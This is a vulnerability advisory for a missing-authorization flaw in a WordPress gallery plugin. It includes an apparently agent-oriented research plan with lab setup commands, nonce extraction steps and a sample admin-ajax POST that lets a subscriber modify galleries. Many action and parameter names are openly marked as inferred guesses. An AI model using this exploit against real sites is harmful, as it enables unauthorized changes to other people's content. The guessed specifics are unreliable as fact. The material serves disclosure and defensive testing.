Portfolio Gallery <= 1.4.8 - Missing Authorization
Description
The Portfolio Gallery plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.4.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.4.8# Research Plan: CVE-2025-62098 - Portfolio Gallery <= 1.4.8 Missing Authorization ## 1. Vulnerability Summary The **Portfolio Gallery – Responsive Image Gallery** plugin (slug: `gallery-portfolio`) for WordPress is vulnerable to **Missing Authorization** in versions up to and including 1.4.8. The …
Show full research plan
Research Plan: CVE-2025-62098 - Portfolio Gallery <= 1.4.8 Missing Authorization
1. Vulnerability Summary
The Portfolio Gallery – Responsive Image Gallery plugin (slug: gallery-portfolio) for WordPress is vulnerable to Missing Authorization in versions up to and including 1.4.8. The vulnerability exists because certain AJAX handlers (likely registered in the admin context) do not perform a current_user_can() check before executing sensitive actions. While these handlers may check for a WordPress nonce to prevent CSRF, they do not restrict the action to administrative users, allowing any authenticated user (starting from the Subscriber role) to execute the function.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pg_save_gallery_ajax(inferred) orpg_delete_gallery_ajax(inferred). - HTTP Parameter:
action,nonce, and action-specific data (e.g.,id,settings). - Authentication: Authenticated, Subscriber-level access or higher.
- Preconditions: The attacker must have a valid login and a valid nonce for the specific action.
3. Code Flow
- Registration: The plugin registers AJAX handlers during initialization, typically via
add_action( 'wp_ajax_...', ... ). - Entry Point: A Subscriber user sends a POST request to
admin-ajax.phpwith the vulnerableaction. - Execution: WordPress invokes the callback function (e.g.,
pg_save_gallery_ajax_callback(inferred)). - Verification (Partial): The function calls
check_ajax_referer()orwp_verify_nonce(). Since the nonce is often localized for all logged-in users, the Subscriber passes this check. - Vulnerability (The Sink): The function proceeds to perform a database operation (e.g.,
update_post_meta,wp_delete_post, orupdate_option) without callingcurrent_user_can( 'manage_options' ).
4. Nonce Acquisition Strategy
Nonces in this plugin are typically exposed via wp_localize_script. Since the vulnerability involves authenticated users, the nonce is generated for the current user's ID.
- Identify Script Trigger: The plugin scripts are enqueued when a gallery is being edited or when a gallery is displayed via shortcode.
- Create Trigger Page:
# Create a gallery first (using WP-CLI to ensure one exists) wp post create --post_type=portfolio_gallery --post_title="Target Gallery" --post_status=publish # The ID of this post will be used for the exploit # Create a page with the shortcode wp post create --post_type=page --post_title="Nonce Page" --post_status=publish --post_content='[portfolio_gallery]' - Acquire Nonce via Browser:
- Use
browser_navigateto the newly created page. - Execute
browser_evalto find the localization object. - Target Object (inferred):
window.pg_ajax_varsorwindow.huge_it_portfolio_vars. - Command:
browser_eval("window.pg_ajax_vars?.nonce")orbrowser_eval("window.pg_ajax_obj?.nonce").
- Use
5. Exploitation Strategy
We will attempt to modify the title or settings of an existing gallery.
- Step 1: Preparation. Identify a target gallery ID using
wp post list --post_type=portfolio_gallery. - Step 2: Nonce Collection. Log in as a Subscriber and visit a page where the plugin's JS is loaded to extract the
pg_ajax_nonce(inferred). - Step 3: Exploit Request. Send a POST request to modify the gallery.
Sample Request (using http_request):
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=pg_save_gallery_ajax&nonce=[NONCE_VALUE]&id=[GALLERY_ID]&title=Exploited_Title"
}
(Note: Parameters like id and title are inferred based on standard gallery plugin naming conventions and must be verified against the source code during execution.)
6. Test Data Setup
- Admin User: Required to create the initial gallery.
- Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Sample Gallery:
wp post create --post_type=portfolio_gallery --post_title="Original Title" --post_status=publish - Shortcode Page:
wp post create --post_type=page --post_content='[portfolio_gallery]' --post_status=publish
7. Expected Results
- Response: The server returns a success code (e.g.,
{"success":true}or1). - Impact: The gallery title or configuration in the database is changed, despite the request coming from a Subscriber who should not have "manage_options" or gallery editing capabilities.
8. Verification Steps
After the exploit request, verify the change using WP-CLI:
# Check if the title was modified
wp post get [GALLERY_ID] --field=post_title
# If the exploit targeted post_meta/settings
wp post meta list [GALLERY_ID]
9. Alternative Approaches
- Delete Action: If
pg_save_gallery_ajaxis not the vulnerable function, check forpg_delete_gallery_ajaxorpg_update_order_ajax. - Import Functionality: Some versions of this plugin have a
portfolio_gallery_import_sample_dataaction which often lacks authorization. - REST API: Check if the plugin registers any REST routes via
register_rest_routewithout apermission_callback. - Search Pattern: If inferred names fail, use the agent to search the plugin directory:
grep -r "wp_ajax_" .to find all registered actions and check their callbacks forcurrent_user_can.
Summary
The Portfolio Gallery – Responsive Image Gallery plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on administrative AJAX functions in versions up to 1.4.8. This allows authenticated attackers with subscriber-level permissions to perform restricted actions, such as modifying or saving gallery settings, by bypassing role-based access control.
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with a Subscriber-level account and navigates to a page where the plugin's scripts are loaded (e.g., a page containing the [portfolio_gallery] shortcode) to extract the 'pg_ajax_nonce' from the localized 'pg_ajax_vars' JavaScript object. Using this nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to the vulnerable function (e.g., 'pg_save_gallery_ajax') and the target gallery ID. Because the backend code verifies the nonce but fails to perform a 'current_user_can()' check, the administrative action is executed despite the attacker's low privilege level.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.